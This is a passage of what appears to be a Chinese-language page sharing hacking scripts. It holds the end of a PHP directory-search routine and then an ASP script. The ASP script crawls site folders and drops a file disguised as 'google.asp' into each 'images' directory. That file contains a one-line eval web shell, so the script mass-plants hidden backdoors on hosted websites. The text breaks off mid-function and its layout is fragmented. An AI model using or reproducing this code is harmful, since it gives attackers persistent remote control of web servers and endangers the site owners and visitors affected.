{ 

if

(

$filename2

 == 

$somefile

) 

{ 

//echo'[+]Found !'.$filename2."\n"; 

file_put_contents

(

$logfile

,'[+]Found !'.

$path2

.'/'.

$filename2

."\n",FILE_APPEND); 

} 
} 
@

closedir

(

$handle2

); 

} 
} 

file_put_contents

(

$logfile

,'[*]LAST '.

$path2

."\n",FILE_APPEND); 

closedir

(

$handle

); 

} 
} 
 
asp 版 
代码如下

:

 
<% 
Server.ScriptTimeout=500000000 
key = Trim(Request.QueryString("key")) 
msg=" <% eval(rquese(Chr(35)))%" &">" 
Set FSO=Server.CreateObject("Scripting.FileSystemObject") 
Set ServerFolder=FSO.GetFolder("C:\intel") 
Set ServerFolderList=ServerFolder.subfolders 
For Each ServerFileEvery IN ServerFolderList 
' Response.write ServerFileEvery&"</br>" 
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then 
Set sServerFolder=FSO.GetFolder(ServerFileEvery) 
Set sServerFolderList=sServerFolder.subfolders 
For Each sServerFileEvery IN sServerFolderList 
If LCase(sServerFileEvery.name) = "images" Then 
StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8" 

End

 If 

Next 

End

 If 

Next 
Function StreamSaveToFile(sPath, sContent, sCharSet) 
Dim oStream 
If(InStr(sPath, ":") <= 0)Then 
sPath = Replace(sPath, ",", "，") 
sPath = Server.MapPath(sPath) 
sPath = Replace(sPath, "，", ",") 

End

 If